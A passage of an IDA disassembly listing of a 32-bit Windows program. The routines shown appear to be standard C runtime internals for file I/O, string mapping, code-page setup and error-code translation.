loc_419E68: ; CODE XREF: sub_419DD2+80j pop edi pop esi pop ebx retn sub_419DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E6C proc near ; CODE XREF: sub_41523E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_419E88 mov [edi+4], ebx loc_419E88: ; CODE XREF: sub_419E6C+17j push 1 push ebx push esi call sub_419DD2 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_419EF6 mov edx, [edi+0Ch] test dx, 108h jnz short loc_419EAD sub eax, [edi+4] jmp loc_419FBF ; --------------------------------------------------------------------------- loc_419EAD: ; CODE XREF: sub_419E6C+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_419EE7 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_743540[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_419EFE mov edx, ecx loc_419ED8: ; CODE XREF: sub_419E6C+79j cmp edx, eax jnb short loc_419EFE cmp byte ptr [edx], 0Ah jnz short loc_419EE4 inc [ebp+var_8] loc_419EE4: ; CODE XREF: sub_419E6C+73j inc edx jmp short loc_419ED8 ; --------------------------------------------------------------------------- loc_419EE7: ; CODE XREF: sub_419E6C+50j test dl, 80h jnz short loc_419EFE mov dword_74222C, 16h loc_419EF6: ; CODE XREF: sub_419E6C+2Dj or eax, 0FFFFFFFFh jmp loc_419FBF ; --------------------------------------------------------------------------- loc_419EFE: ; CODE XREF: sub_419E6C+68j ; sub_419E6C+6Ej ... cmp [ebp+var_4], 0 jnz short loc_419F0C mov eax, [ebp+var_8] jmp loc_419FBF ; --------------------------------------------------------------------------- loc_419F0C: ; CODE XREF: sub_419E6C+96j test byte ptr [edi+0Ch], 1 jz loc_419FB7 mov edx, [edi+4] test edx, edx jnz short loc_419F25 and [ebp+var_8], edx jmp loc_419FB7 ; --------------------------------------------------------------------------- loc_419F25: ; CODE XREF: sub_419E6C+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:743540h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_419FB1 push 2 push 0 push [ebp+var_C] call sub_419DD2 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_419F78 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_419F63: ; CODE XREF: sub_419E6C+104j cmp eax, ecx jnb short loc_419F72 cmp byte ptr [eax], 0Ah jnz short loc_419F6F inc [ebp+arg_0] loc_419F6F: ; CODE XREF: sub_419E6C+FEj inc eax jmp short loc_419F63 ; --------------------------------------------------------------------------- loc_419F72: ; CODE XREF: sub_419E6C+F9j test byte ptr [edi+0Dh], 20h jmp short loc_419FAC ; --------------------------------------------------------------------------- loc_419F78: ; CODE XREF: sub_419E6C+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_419DD2 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_419F9F mov ecx, [edi+0Ch] test cl, 8 jz short loc_419F9F test ch, 4 jz short loc_419FA2 loc_419F9F: ; CODE XREF: sub_419E6C+124j ; sub_419E6C+12Cj mov eax, [edi+18h] loc_419FA2: ; CODE XREF: sub_419E6C+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_419FAC: ; CODE XREF: sub_419E6C+10Aj jz short loc_419FB1 inc [ebp+arg_0] loc_419FB1: ; CODE XREF: sub_419E6C+D9j ; sub_419E6C:loc_419FACj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_419FB7: ; CODE XREF: sub_419E6C+A4j ; sub_419E6C+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_419FBF: ; CODE XREF: sub_419E6C+3Cj ; sub_419E6C+8Dj ... pop edi pop esi pop ebx leave retn sub_419E6C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419FC4 proc near ; CODE XREF: sub_415467+A3p ; sub_418AF1+A5p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F870 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_7422CC, edi jnz short loc_41A03A push edi push edi push 1 pop ebx push ebx push offset dword_41F868 mov esi, 100h push esi push edi call ds:dword_41F188 ; LCMapStringW test eax, eax jz short loc_41A018 mov dword_7422CC, ebx jmp short loc_41A03A ; --------------------------------------------------------------------------- loc_41A018: ; CODE XREF: sub_419FC4+4Aj push edi push edi push ebx push offset dword_438A0C push esi push edi call ds:off_41F184 test eax, eax jz loc_41A152 mov dword_7422CC, 2 loc_41A03A: ; CODE XREF: sub_419FC4+2Ej ; sub_419FC4+52j cmp [ebp+arg_C], edi jle short loc_41A04F push [ebp+arg_C] push [ebp+arg_8] call sub_41A1E8 pop ecx pop ecx mov [ebp+arg_C], eax loc_41A04F: ; CODE XREF: sub_419FC4+79j mov eax, dword_7422CC cmp eax, 2 jnz short loc_41A076 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:off_41F184 jmp loc_41A154 ; --------------------------------------------------------------------------- loc_41A076: ; CODE XREF: sub_419FC4+93j cmp eax, 1 jnz loc_41A152 cmp [ebp+arg_18], edi jnz short loc_41A08C mov eax, dword_7422C4 mov [ebp+arg_18], eax loc_41A08C: ; CODE XREF: sub_419FC4+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call ds:dword_41F110 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41A152 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_413E60 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41A0E7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41A0E7: ; CODE XREF: sub_419FC4+10Ej cmp [ebp+var_24], edi jz short loc_41A152 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call ds:dword_41F110 ; MultiByteToWideChar test eax, eax jz short loc_41A152 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F188 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41A152 test byte ptr [ebp+arg_4+1], 4 jz short loc_41A166 cmp [ebp+arg_14], edi jz loc_41A1E1 cmp esi, [ebp+arg_14] jg short loc_41A152 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F188 ; LCMapStringW test eax, eax jnz loc_41A1E1 loc_41A152: ; CODE XREF: sub_419FC4+66j ; sub_419FC4+B5j ... xor eax, eax loc_41A154: ; CODE XREF: sub_419FC4+ADj ; sub_419FC4+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A166: ; CODE XREF: sub_419FC4+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_413E60 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41A19A ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41A19A: ; CODE XREF: sub_419FC4+1C2j cmp ebx, edi jz short loc_41A152 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41F188 ; LCMapStringW test eax, eax jz short loc_41A152 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41A1C1 push edi push edi jmp short loc_41A1C7 ; --------------------------------------------------------------------------- loc_41A1C1: ; CODE XREF: sub_419FC4+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41A1C7: ; CODE XREF: sub_419FC4+1FBj push esi push ebx push 220h push [ebp+arg_18] call ds:dword_41F10C ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_41A152 loc_41A1E1: ; CODE XREF: sub_419FC4+165j ; sub_419FC4+188j mov eax, esi jmp loc_41A154 sub_419FC4 endp ; =============== S U B R O U T I N E ======================================= sub_41A1E8 proc near ; CODE XREF: sub_419FC4+81p ; sub_41DB68+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_41A205 loc_41A1F8: ; CODE XREF: sub_41A1E8+1Bj cmp byte ptr [eax], 0 jz short loc_41A205 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_41A1F8 loc_41A205: ; CODE XREF: sub_41A1E8+Ej ; sub_41A1E8+13j cmp byte ptr [eax], 0 pop esi jnz short loc_41A210 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41A210: ; CODE XREF: sub_41A1E8+21j mov eax, edx retn sub_41A1E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A213 proc near ; CODE XREF: sub_41A5D7+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41A3AC ; GetACP mov esi, eax pop ecx cmp esi, dword_743644 mov [ebp+arg_0], esi jz loc_41A3A0 xor ebx, ebx cmp esi, ebx jz loc_41A396 xor edx, edx mov eax, offset dword_437B30 loc_41A247: ; CODE XREF: sub_41A213+41j cmp [eax], esi jz short loc_41A2BD add eax, 30h inc edx cmp eax, offset dword_437C20 jl short loc_41A247 lea eax, [ebp+var_18] push eax push esi call ds:dword_41F18C ; GetCPInfo cmp eax, 1 jnz loc_41A38E push 40h xor eax, eax pop ecx mov edi, offset byte_743760 cmp [ebp+var_18], 1 mov dword_743644, esi rep stosd stosb mov dword_743864, ebx jbe loc_41A37C cmp [ebp+var_12], 0 jz loc_41A352 lea ecx, [ebp+var_11] loc_41A29A: ; CODE XREF: sub_41A213+139j mov dl, [ecx] test dl, dl jz loc_41A352 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41A2AB: ; CODE XREF: sub_41A213+A8j cmp eax, edx ja loc_41A346 or byte_743761[eax], 4 inc eax jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2BD: ; CODE XREF: sub_41A213+36j push 40h xor eax, eax pop ecx mov edi, offset byte_743760 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_437B40[esi] loc_41A2D9: ; CODE XREF: sub_41A213+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41A30C loc_41A2E0: ; CODE XREF: sub_41A213+F7j mov dl, [ecx+1] test dl, dl jz short loc_41A30C movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41A305 mov edx, [ebp+var_4] mov dl, byte_437B28[edx] loc_41A2FA: ; CODE XREF: sub_41A213+F0j or byte_743761[eax], dl inc eax cmp eax, edi jbe short loc_41A2FA loc_41A305: ; CODE XREF: sub_41A213+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41A2E0 loc_41A30C: ; CODE XREF: sub_41A213+CBj ; sub_41A213+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41A2D9 mov eax, [ebp+arg_0] mov dword_74365C, 1 push eax mov dword_743644, eax call sub_41A3F6 lea esi, dword_437B34[esi] mov edi, offset dword_743650 movsd movsd pop ecx mov dword_743864, eax movsd jmp short loc_41A39B ; --------------------------------------------------------------------------- loc_41A346: ; CODE XREF: sub_41A213+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41A29A loc_41A352: ; CODE XREF: sub_41A213+7Ej ; sub_41A213+8Bj push 1 pop eax loc_41A355: ; CODE XREF: sub_41A213+14Fj or byte_743761[eax], 8 inc eax cmp eax, 0FFh jb short loc_41A355 push esi call sub_41A3F6 pop ecx mov dword_743864, eax mov dword_74365C, 1 jmp short loc_41A382 ; --------------------------------------------------------------------------- loc_41A37C: ; CODE XREF: sub_41A213+74j mov dword_74365C, ebx loc_41A382: ; CODE XREF: sub_41A213+167j xor eax, eax mov edi, offset dword_743650 stosd stosd stosd jmp short loc_41A39B ; --------------------------------------------------------------------------- loc_41A38E: ; CODE XREF: sub_41A213+51j cmp dword_7422D0, ebx jz short loc_41A3A4 loc_41A396: ; CODE XREF: sub_41A213+27j call sub_41A429 loc_41A39B: ; CODE XREF: sub_41A213+131j ; sub_41A213+179j call sub_41A452 loc_41A3A0: ; CODE XREF: sub_41A213+1Dj xor eax, eax jmp short loc_41A3A7 ; --------------------------------------------------------------------------- loc_41A3A4: ; CODE XREF: sub_41A213+181j or eax, 0FFFFFFFFh loc_41A3A7: ; CODE XREF: sub_41A213+18Fj pop edi pop esi pop ebx leave retn sub_41A213 endp ; =============== S U B R O U T I N E ======================================= sub_41A3AC proc near ; CODE XREF: sub_41A213+Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0075621B SIZE 0000000B BYTES mov eax, [esp+arg_0] and dword_7422D0, 0 cmp eax, 0FFFFFFFEh jnz short loc_41A3CC mov dword_7422D0, 1 jmp ds:off_41F194 ; --------------------------------------------------------------------------- loc_41A3CC: ; CODE XREF: sub_41A3AC+Ej cmp eax, 0FFFFFFFDh jnz short loc_41A3E1 mov dword_7422D0, 1 jmp ds:dword_41F190 ; --------------------------------------------------------------------------- loc_41A3E1: ; CODE XREF: sub_41A3AC+23j cmp eax, 0FFFFFFFCh jnz short locret_41A3F5 mov eax, dword_7422C4 mov dword_7422D0, 1 locret_41A3F5: ; CODE XREF: sub_41A3AC+38j retn sub_41A3AC endp ; =============== S U B R O U T I N E ======================================= sub_41A3F6 proc near ; CODE XREF: sub_41A213+118p ; sub_41A213+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41A423 sub eax, 4 jz short loc_41A41D sub eax, 0Dh jz short loc_41A417 dec eax jz short loc_41A411 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A411: ; CODE XREF: sub_41A3F6+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_41A3F6+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41A41D: ; CODE XREF: sub_41A3F6+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41A423: ; CODE XREF: sub_41A3F6+9j mov eax, 411h retn sub_41A3F6 endp ; =============== S U B R O U T I N E ======================================= sub_41A429 proc near ; CODE XREF: sub_41A213:loc_41A396p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_743760 rep stosd stosb xor eax, eax mov edi, offset dword_743650 mov dword_743644, eax mov dword_74365C, eax mov dword_743864, eax stosd stosd stosd pop edi retn sub_41A429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A452 proc near ; CODE XREF: sub_41A213:loc_41A39Bp var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_743644 call ds:dword_41F18C ; GetCPInfo cmp eax, 1 jnz loc_41A58B xor eax, eax mov esi, 100h loc_41A47C: ; CODE XREF: sub_41A452+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41A47C mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41A4CD push ebx push edi lea edx, [ebp+var_D] loc_41A49B: ; CODE XREF: sub_41A452+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41A4C2 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41A4C2: ; CODE XREF: sub_41A452+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41A49B pop edi pop ebx loc_41A4CD: ; CODE XREF: sub_41A452+42j push 0 lea eax, [ebp+var_514] push dword_743864 push dword_743644 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41B513 push 0 lea eax, [ebp+var_214] push dword_743644 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_743864 call sub_419FC4 push 0 lea eax, [ebp+var_314] push dword_743644 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_743864 call sub_419FC4 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41A548: ; CODE XREF: sub_41A452+135j mov dx, [ecx] test dl, 1 jz short loc_41A566 or byte_743761[eax], 10h mov dl, [ebp+eax+var_214] loc_41A55E: ; CODE XREF: sub_41A452+127j mov byte_743660[eax], dl jmp short loc_41A582 ; --------------------------------------------------------------------------- loc_41A566: ; CODE XREF: sub_41A452+FCj test dl, 2 jz short loc_41A57B or byte_743761[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41A55E ; --------------------------------------------------------------------------- loc_41A57B: ; CODE XREF: sub_41A452+117j and byte_743660[eax], 0 loc_41A582: ; CODE XREF: sub_41A452+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41A548 jmp short loc_41A5D4 ; --------------------------------------------------------------------------- loc_41A58B: ; CODE XREF: sub_41A452+1Dj xor eax, eax mov esi, 100h loc_41A592: ; CODE XREF: sub_41A452+180j cmp eax, 41h jb short loc_41A5B0 cmp eax, 5Ah ja short loc_41A5B0 or byte_743761[eax], 10h mov cl, al add cl, 20h loc_41A5A8: ; CODE XREF: sub_41A452+174j mov byte_743660[eax], cl jmp short loc_41A5CF ; --------------------------------------------------------------------------- loc_41A5B0: ; CODE XREF: sub_41A452+143j ; sub_41A452+148j cmp eax, 61h jb short loc_41A5C8 cmp eax, 7Ah ja short loc_41A5C8 or byte_743761[eax], 20h mov cl, al sub cl, 20h jmp short loc_41A5A8 ; --------------------------------------------------------------------------- loc_41A5C8: ; CODE XREF: sub_41A452+161j ; sub_41A452+166j and byte_743660[eax], 0 loc_41A5CF: ; CODE XREF: sub_41A452+15Cj inc eax cmp eax, esi jb short loc_41A592 loc_41A5D4: ; CODE XREF: sub_41A452+137j pop esi leave retn sub_41A452 endp ; =============== S U B R O U T I N E ======================================= sub_41A5D7 proc near ; CODE XREF: sub_41AADF+9p ; sub_41AB37+Dp ... cmp dword_74388C, 0 jnz short locret_41A5F2 push 0FFFFFFFDh call sub_41A213 pop ecx mov dword_74388C, 1 locret_41A5F2: ; CODE XREF: sub_41A5D7+7j retn sub_41A5D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A5F3 proc near ; CODE XREF: sub_415628+2Bp ; sub_415628+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_74365C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41A617 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_415140 add esp, 0Ch jmp short loc_41A67A ; --------------------------------------------------------------------------- loc_41A617: ; CODE XREF: sub_41A5F3+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41A65C mov ecx, [ebp+arg_4] loc_41A622: ; CODE XREF: sub_41A5F3+5Bj mov al, [ecx] dec edx movzx esi, al test byte_743761[esi], 4 mov [edi], al jz short loc_41A646 inc edi inc ecx test edx, edx jz short loc_41A652 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41A658 jmp short loc_41A64C ; --------------------------------------------------------------------------- loc_41A646: ; CODE XREF: sub_41A5F3+3Ej inc edi inc ecx test al, al jz short loc_41A65C loc_41A64C: ; CODE XREF: sub_41A5F3+51j test edx, edx jnz short loc_41A622 jmp short loc_41A65C ; --------------------------------------------------------------------------- loc_41A652: ; CODE XREF: sub_41A5F3+44j and byte ptr [edi-1], 0 jmp short loc_41A65C ; --------------------------------------------------------------------------- loc_41A658: ; CODE XREF: sub_41A5F3+4Fj and byte ptr [edi-2], 0 loc_41A65C: ; CODE XREF: sub_41A5F3+2Aj ; sub_41A5F3+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41A677 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41A677: ; CODE XREF: sub_41A5F3+6Fj mov eax, [ebp+arg_0] loc_41A67A: ; CODE XREF: sub_41A5F3+22j pop edi pop ebp retn sub_41A5F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A67D proc near ; CODE XREF: sub_4158DF+A2p ; sub_415F50+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_743640 push esi push edi jnb loc_41A811 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:743540h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41A811 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41A6CE loc_41A6C7: ; CODE XREF: sub_41A67D+177j xor eax, eax jmp loc_41A825 ; --------------------------------------------------------------------------- loc_41A6CE: ; CODE XREF: sub_41A67D+48j test al, 20h jz short loc_41A6DE push 2 push edi push ecx call sub_419DD2 add esp, 0Ch loc_41A6DE: ; CODE XREF: sub_41A67D+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41A7AD mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41A7E5 loc_41A6FE: ; CODE XREF: sub_41A67D+F5j lea eax, [ebp+var_414] loc_41A704: ; CODE XREF: sub_41A67D+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41A738 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41A723 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41A723: ; CODE XREF: sub_41A67D+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41A704 loc_41A738: ; CODE XREF: sub_41A67D+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_41F054 ; WriteFile test eax, eax jz short loc_41A7A2 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41A774 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41A6FE loc_41A774: ; CODE XREF: sub_41A67D+EAj ; sub_41A67D+12Ej xor edi, edi loc_41A776: ; CODE XREF: sub_41A67D+150j ; sub_41A67D+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41A80C cmp [ebp+arg_0], edi jz short loc_41A7E5 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41A7DA mov dword_74222C, 9 mov dword_742230, eax jmp loc_41A822 ; --------------------------------------------------------------------------- loc_41A7A2: ; CODE XREF: sub_41A67D+E0j call ds:off_41F06C mov [ebp+arg_0], eax jmp short loc_41A774 ; --------------------------------------------------------------------------- loc_41A7AD: ; CODE XREF: sub_41A67D+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call ds:dword_41F054 ; WriteFile test eax, eax jz short loc_41A7CF mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41A776 ; --------------------------------------------------------------------------- loc_41A7CF: ; CODE XREF: sub_41A67D+145j call ds:off_41F06C mov [ebp+arg_0], eax jmp short loc_41A776 ; --------------------------------------------------------------------------- loc_41A7DA: ; CODE XREF: sub_41A67D+10Fj push [ebp+arg_0] call sub_41A82A pop ecx jmp short loc_41A822 ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A67D+7Bj ; sub_41A67D+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41A7FA mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41A6C7 loc_41A7FA: ; CODE XREF: sub_41A67D+16Fj mov dword_74222C, 1Ch mov dword_742230, edi jmp short loc_41A822 ; --------------------------------------------------------------------------- loc_41A80C: ; CODE XREF: sub_41A67D+FEj sub eax, [ebp+var_10] jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A811: ; CODE XREF: sub_41A67D+15j ; sub_41A67D+37j and dword_742230, 0 mov dword_74222C, 9 loc_41A822: ; CODE XREF: sub_41A67D+120j ; sub_41A67D+166j ... or eax, 0FFFFFFFFh loc_41A825: ; CODE XREF: sub_41A67D+4Cj ; sub_41A67D+192j pop edi pop esi pop ebx leave retn sub_41A67D endp ; =============== S U B R O U T I N E ======================================= sub_41A82A proc near ; CODE XREF: sub_4159E9+16p ; sub_415DB5+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_742230, ecx mov eax, offset dword_437C20 loc_41A83B: ; CODE XREF: sub_41A82A+1Ej cmp ecx, [eax] jz short loc_41A85F add eax, 8 inc edx cmp eax, offset dword_437D88 jl short loc_41A83B cmp ecx, 13h jb short loc_41A86C cmp ecx, 24h ja short loc_41A86C mov dword_74222C, 0Dh retn ; --------------------------------------------------------------------------- loc_41A85F: ; CODE XREF: sub_41A82A+13j mov eax, dword_437C24[edx*8] mov dword_74222C, eax retn ; --------------------------------------------------------------------------- loc_41A86C: ; CODE XREF: sub_41A82A+23j ; sub_41A82A+28j cmp ecx, 0BCh jb short loc_41A886 cmp ecx, 0CAh mov dword_74222C, 8 jbe short locret_41A890 loc_41A886: ; CODE XREF: sub_41A82A+48j mov dword_74222C, 16h locret_41A890: ; CODE XREF: sub_41A82A+5Aj retn sub_41A82A endp ; =============== S U B R O U T I N E ======================================= sub_41A891 proc near ; CODE XREF: sub_415DDF+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41B3CC test eax, eax pop ecx jz short loc_41A91A cmp esi, offset dword_437EC8 jnz short loc_41A8AF xor eax, eax jmp short loc_41A8BA ; --------------------------------------------------------------------------- loc_41A8AF: ; CODE XREF: sub_41A891+18j cmp esi, offset dword_437EE8 jnz short loc_41A91A push 1 pop eax loc_41A8BA: ; CODE XREF: sub_41A891+1Cj inc dword_7423EC test word ptr [esi+0Ch], 10Ch jnz short loc_41A91A cmp dword_7422D4[eax*4], 0 push ebx push edi lea edi, ds:7422D4h[eax*4] mov ebx, 1000h jnz short loc_41A900 push ebx call sub_413F0B test eax, eax pop ecx mov [edi], eax jnz short loc_41A900 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A90D ; --------------------------------------------------------------------------- loc_41A900: ; CODE XREF: sub_41A891+4Dj ; sub_41A891+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A90D: ; CODE XREF: sub_41A891+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A91A: ; CODE XREF: sub_41A891+10j ; sub_41A891+24j ... xor eax, eax pop esi retn sub_41A891 endp ; =============== S U B R O U T I N E ======================================= sub_41A91E proc near ; CODE XREF: sub_415DDF+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A948 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A959 push esi call sub_419849 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A948: ; CODE XREF: sub_41A91E+6j mov eax, 